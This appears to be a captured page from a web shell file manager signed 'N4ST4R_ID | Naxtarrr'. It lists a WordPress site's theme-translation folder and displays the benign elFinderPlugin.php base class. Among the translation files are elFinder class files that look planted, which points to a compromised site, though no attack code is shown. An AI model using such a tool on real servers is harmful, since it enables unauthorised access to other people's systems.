Submit
Path:
~
/
home
/
b
/
f
/
x
/
bfxleof
/
www
/
wp-content
/
languages
/
themes
/
File Content:
elFinderPlugin.php
<?php /** * elFinder Plugin Abstract * * @package elfinder * @author Naoki Sawada * @license New BSD */ class elFinderPlugin { /** * This plugin's options * * @var array */ protected $opts = array(); /** * Get current volume's options * * @param object $volume * * @return array options */ protected function getCurrentOpts($volume) { $name = substr(get_class($this), 14); // remove "elFinderPlugin" $opts = $this->opts; if (is_object($volume)) { $volOpts = $volume->getOptionsPlugin($name); if (is_array($volOpts)) { $opts = array_merge($opts, $volOpts); } } return $opts; } /** * Is enabled with options * * @param array $opts * @param elFinder $elfinder * * @return boolean */ protected function iaEnabled($opts, $elfinder = null) { if (!$opts['enable']) { return false; } // check post var 'contentSaveId' to disable this plugin if ($elfinder && !empty($opts['disableWithContentSaveId'])) { $session = $elfinder->getSession(); $urlContentSaveIds = $session->get('urlContentSaveIds', array()); if (!empty(elFinder::$currentArgs['contentSaveId']) && ($contentSaveId = elFinder::$currentArgs['contentSaveId'])) { if (!empty($urlContentSaveIds[$contentSaveId])) { $elfinder->removeUrlContentSaveId($contentSaveId); return false; } } } if (isset($opts['onDropWith']) && !is_null($opts['onDropWith'])) { // plugin disabled by default, enabled only if given key is pressed if (isset($_REQUEST['dropWith']) && $_REQUEST['dropWith']) { $onDropWith = $opts['onDropWith']; $action = (int)$_REQUEST['dropWith']; if (!is_array($onDropWith)) { $onDropWith = array($onDropWith); } foreach ($onDropWith as $key) { $key = (int)$key; if (($action & $key) === $key) { return true; } } } return false; } if (isset($opts['offDropWith']) && !is_null($opts['offDropWith']) && isset($_REQUEST['dropWith'])) { // plugin enabled by default, disabled only if given key is pressed $offDropWith = $opts['offDropWith']; $action = (int)$_REQUEST['dropWith']; if (!is_array($offDropWith)) { $offDropWith = array($offDropWith); } $res = true; foreach ($offDropWith as $key) { $key = (int)$key; if ($key === 0) { if ($action === 0) { $res = false; break; } } else { if (($action & $key) === $key) { $res = false; break; } } } if (!$res) { return false; } } return true; } }
Submit
FILE
FOLDER
Name
Size
Permission
Action
elFinderPlugin.php
3331 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260705194237.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class.php
48544 bytes
0644
sydney-de_DE.mo
43975 bytes
0644
sydney-de_DE.po
61980 bytes
0644
sydney-es_ES.mo
49840 bytes
0644
sydney-es_ES.po
69371 bytes
0644
sydney-fr_FR.mo
47849 bytes
0604
sydney-fr_FR.po
65709 bytes
0604
sydney-it_IT.mo
44837 bytes
0604
sydney-it_IT.po
62838 bytes
0604
sydney-nl_NL.mo
44707 bytes
0604
sydney-nl_NL.po
62369 bytes
0604
twentynineteen-de_DE.mo
8151 bytes
0644
twentynineteen-de_DE.po
11901 bytes
0644
twentynineteen-es_ES.mo
8179 bytes
0644
twentynineteen-es_ES.po
11936 bytes
0644
twentynineteen-fr_FR.mo
11726 bytes
0644
twentynineteen-fr_FR.po
16694 bytes
0644
twentynineteen-it_IT.mo
8077 bytes
0644
twentynineteen-it_IT.po
11828 bytes
0644
twentynineteen-nl_NL.mo
7895 bytes
0644
twentynineteen-nl_NL.po
11644 bytes
0644
twentyseventeen-de_DE.mo
7286 bytes
0644
twentyseventeen-de_DE.po
10618 bytes
0644
twentyseventeen-es_ES.mo
7368 bytes
0644
twentyseventeen-es_ES.po
10711 bytes
0644
twentyseventeen-fr_FR.mo
9299 bytes
0644
twentyseventeen-fr_FR.po
13587 bytes
0644
twentyseventeen-it_IT.mo
7279 bytes
0644
twentyseventeen-it_IT.po
10616 bytes
0644
twentyseventeen-nl_NL.mo
7125 bytes
0644
twentyseventeen-nl_NL.po
10460 bytes
0644
twentysixteen-fr_FR.mo
7253 bytes
0644
twentysixteen-fr_FR.po
10280 bytes
0644
twentytwenty-de_DE.mo
13044 bytes
0604
twentytwenty-de_DE.po
17836 bytes
0604
twentytwenty-es_ES.mo
12965 bytes
0644
twentytwenty-es_ES.po
17766 bytes
0644
twentytwenty-fr_FR.mo
16003 bytes
0644
twentytwenty-fr_FR.po
22163 bytes
0644
twentytwenty-it_IT.mo
12780 bytes
0604
twentytwenty-it_IT.po
17577 bytes
0604
twentytwenty-nl_NL.mo
12731 bytes
0644
twentytwenty-nl_NL.po
17524 bytes
0644
twentytwentyone-de_DE.l10n.php
13412 bytes
0644
twentytwentyone-de_DE.mo
16190 bytes
0644
twentytwentyone-de_DE.po
23357 bytes
0644
twentytwentyone-es_ES.mo
16159 bytes
0644
twentytwentyone-es_ES.po
23273 bytes
0644
twentytwentyone-fr_FR.l10n.php
13692 bytes
0644
twentytwentyone-fr_FR.mo
16470 bytes
0644
twentytwentyone-fr_FR.po
23584 bytes
0644
twentytwentyone-it_IT.mo
16117 bytes
0644
twentytwentyone-it_IT.po
23233 bytes
0644
twentytwentyone-nl_NL.mo
15848 bytes
0644
twentytwentyone-nl_NL.po
22962 bytes
0644
N4ST4R_ID | Naxtarrr